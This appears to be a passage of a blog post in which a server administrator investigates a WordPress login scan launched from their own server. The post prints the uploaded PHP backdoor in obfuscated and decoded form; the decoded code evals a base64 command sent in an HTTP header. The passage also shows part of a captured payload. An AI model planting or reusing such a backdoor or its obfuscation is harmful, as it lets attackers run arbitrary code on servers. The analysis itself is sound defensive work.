access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;04&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2537&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;05&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2538&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;05&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /blog/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2537&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;06&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /blog/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;06&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /blog_old/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;06&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /blog-old/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;07&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /blog/wp/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Obviously, the IPs have been removed to protect the innocent.  What we can see from this log output is that there is an obvious scan of hackable WordPress installations happening &amp;#8212; and they look to come from our server.&lt;/p&gt;
&lt;p&gt;After some further inspection of the server, it looks as if an &amp;#8216;attacker&amp;#8217; uploaded a PHP file to their account and was now using it to scour the internet for hackable WordPress installs.  A remote machine would send requests to a group of servers hosting this PHP file:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;php&quot;&gt;&lt;span&gt;$_fcxxxcc&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&amp;quot;&lt;span&gt;\x70&lt;/span&gt;&lt;span&gt;\x72&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x67&lt;/span&gt;&lt;span&gt;\x5f&lt;/span&gt;&lt;span&gt;\x72&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x70&lt;/span&gt;&lt;span&gt;\x6c&lt;/span&gt;&lt;span&gt;\x61&lt;/span&gt;&lt;span&gt;\x63&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;$_fcxxxcc&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;&lt;span&gt;\x7c&lt;/span&gt;&lt;span&gt;\x2e&lt;/span&gt;&lt;span&gt;\x7c&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&amp;quot;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x76&lt;/span&gt;&lt;span&gt;\x61&lt;/span&gt;&lt;span&gt;\x6c&lt;/span&gt;&lt;span&gt;\x28&lt;/span&gt;&lt;span&gt;\x27&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x76&lt;/span&gt;&lt;span&gt;\x61&lt;/span&gt;&lt;span&gt;\x6c&lt;/span&gt;&lt;span&gt;\x28&lt;/span&gt;&lt;span&gt;\x62&lt;/span&gt;&lt;span&gt;\x61&lt;/span&gt;&lt;span&gt;\x73&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x36&lt;/span&gt;&lt;span&gt;\x34&lt;/span&gt;&lt;span&gt;\x5f&lt;/span&gt;&lt;span&gt;\x64&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x63&lt;/span&gt;&lt;span&gt;\x6f&lt;/span&gt;&lt;span&gt;\x64&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x28&lt;/span&gt;&lt;span&gt;\x22&lt;/span&gt;aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7&lt;span&gt;\x22&lt;/span&gt;&lt;span&gt;\x29&lt;/span&gt;&lt;span&gt;\x29&lt;/span&gt;&lt;span&gt;\x3b&lt;/span&gt;&lt;span&gt;\x27&lt;/span&gt;&lt;span&gt;\x29&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;'.'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I have to give it to them, at least they obfuscated the code.  It took a while before I realized the extent of their hidden code.  Unobfuscating this file gives us:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;php&quot;&gt;&lt;span&gt;$_fcxxxcc&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&amp;quot;preg_replace&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;preg_replace&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;|.|e&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&amp;quot;eval('eval(base64_decode(&amp;quot;&lt;/span&gt;aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7&lt;span&gt;&amp;quot;));')&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;'.'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Base 64 decoding this string gives us:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;php&quot;&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;md5&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$_SERVER&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'HTTP_QUOTE'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt;'e66e6cadd6e13efea54ed50c0eb2d32b'&lt;/span&gt;  and &lt;span&gt;isset&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$_SERVER&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'HTTP_X_CODE'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
    &lt;span&gt;@&lt;/span&gt;&lt;span&gt;eval&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;strrev&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;$_SERVER&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'HTTP_X_CODE'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, we&amp;#8217;re getting somewhere!&lt;/p&gt;
&lt;p&gt;Brief inspection of this code shows that the attackers are sending a payload which gets interpreted by the local system.  But, what kind of payload are they sending to their script?  Since this file was being called quite periodically, dumping the information to a text file gives us all of the information we are looking for.  After a day, I came back to check on the script to find payload that looks like this (decoding and comments by me):&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;php&quot;&gt;&lt;span&gt;header&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;X_GZIP: TRUE&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;header&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;X_MD5: 8b72825b0b211b07f8378013cbfb0d17&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;error_reporting&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;E_ALL&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;ini_set&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;display_errors&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;curl_init&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;13&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;aToxNTs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// i:15;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;19913&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIxIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;42&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIxIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;53&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIwIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;52&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;aTowOw==&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// i:0;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;19914&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIxIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;64&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIwIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;81&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIwIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;10023&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;YTo5OntpOjA7czoxMToiQWNjZXB0OiAqLyoiO2k6MTtzOjIyOiJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzIjtpOjI7czoyMjoiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZSI7aTozO3M6MTIwOiJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBBVCZUIENTTTcuMDsgWVBDIDMuMi4wOyAuTkVUIENMUiAxLjEuNDMyMjsgeXBsdXMgNS4xLjA0YikiO2k6NDtzOjg6IkV4cGVjdDogIjtpOjU7czoxNzoiQWNjZXB0LUVuY29kaW5nOiAiO2k6NjtzOjE1OiJLZWVwLUFsaXZlOiAxMTUiO2k6NztzOjg6IkNvb2tpZTogIjtpOjg7czoxNDk6IlJlZmVyZXI6IGh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjt9&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;/* a:9:{i:0;s:11:&amp;quot;Accept: */&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;&amp;quot;;i:1;s:22:&amp;quot;&lt;/span&gt;Accept&lt;span&gt;-&lt;/span&gt;Language&lt;span&gt;:&lt;/span&gt; en&lt;span&gt;-&lt;/span&gt;us&lt;span&gt;&amp;quot;;i:2;s:22:&amp;quot;&lt;/span&gt;Connection&lt;span&gt;:&lt;/span&gt; keep&lt;span&gt;-&lt;/span&gt;alive&lt;span&gt;&amp;quot;;i:3;s:120:&amp;quot;&lt;/span&gt;User&lt;span&gt;-&lt;/span&gt;Agent&lt;span&gt;:&lt;/span&gt; Mozilla&lt;span&gt;/&lt;/span&gt;&lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;compatible&lt;span&gt;;&lt;/span&gt; MSIE &lt;span&gt;7.0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; Windows NT &lt;span&gt;5.1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; AT&lt;span&gt;&amp;amp;&lt;/span&gt;amp&lt;span&gt;;&lt;/span&gt;T CSM7&lt;span&gt;.&lt;/span&gt;0&lt;span&gt;;&lt;/span&gt; YPC 3&lt;span&gt;.&lt;/span&gt;2&lt;span&gt;.&lt;/span&gt;0&lt;span&gt;;&lt;/span&gt; &lt;span&gt;.&lt;/span&gt;NET CLR 1&lt;span&gt;.&lt;/span&gt;1&lt;span&gt;.&lt;/span&gt;4322&lt;span&gt;;&lt;/span&gt; yplus 5&lt;span&gt;.&lt;/span&gt;1&lt;span&gt;.&lt;/span&gt;04b&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;quot;;i:4;s:8:&amp;quot;&lt;/span&gt;Expect&lt;span&gt;:&lt;/span&gt; &lt;span&gt;&amp;quot;;i:5;s:17:&amp;quot;&lt;/span&gt;Accept&lt;span&gt;-&lt;/span&gt;Encoding&lt;span&gt;:&lt;/span&gt; &lt;span&gt;&amp;quot;;i:6;s:15:&amp;quot;&lt;/span&gt;Keep&lt;span&gt;-&lt;/span&gt;Alive&lt;span&gt;:&lt;/span&gt; &lt;span&gt;115&lt;/span&gt;&lt;span&gt;&amp;quot;;i:7;s:8:&amp;quot;&lt;/span&gt;Cookie&lt;span&gt;:&lt;/span&gt; &lt;span&gt;&amp;quot;;i:8;s:149:&amp;quot;&lt;/span&gt;Referer&lt;span&gt;:&lt;/span&gt; http&lt;span&gt;:&lt;/span&gt;&lt;span&gt;//translate.google.com/translate?hl=en&amp;amp;amp;sl=en&amp;amp;amp;tl=fr&amp;amp;amp;u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html&amp;quot;;} */&lt;/span&gt;
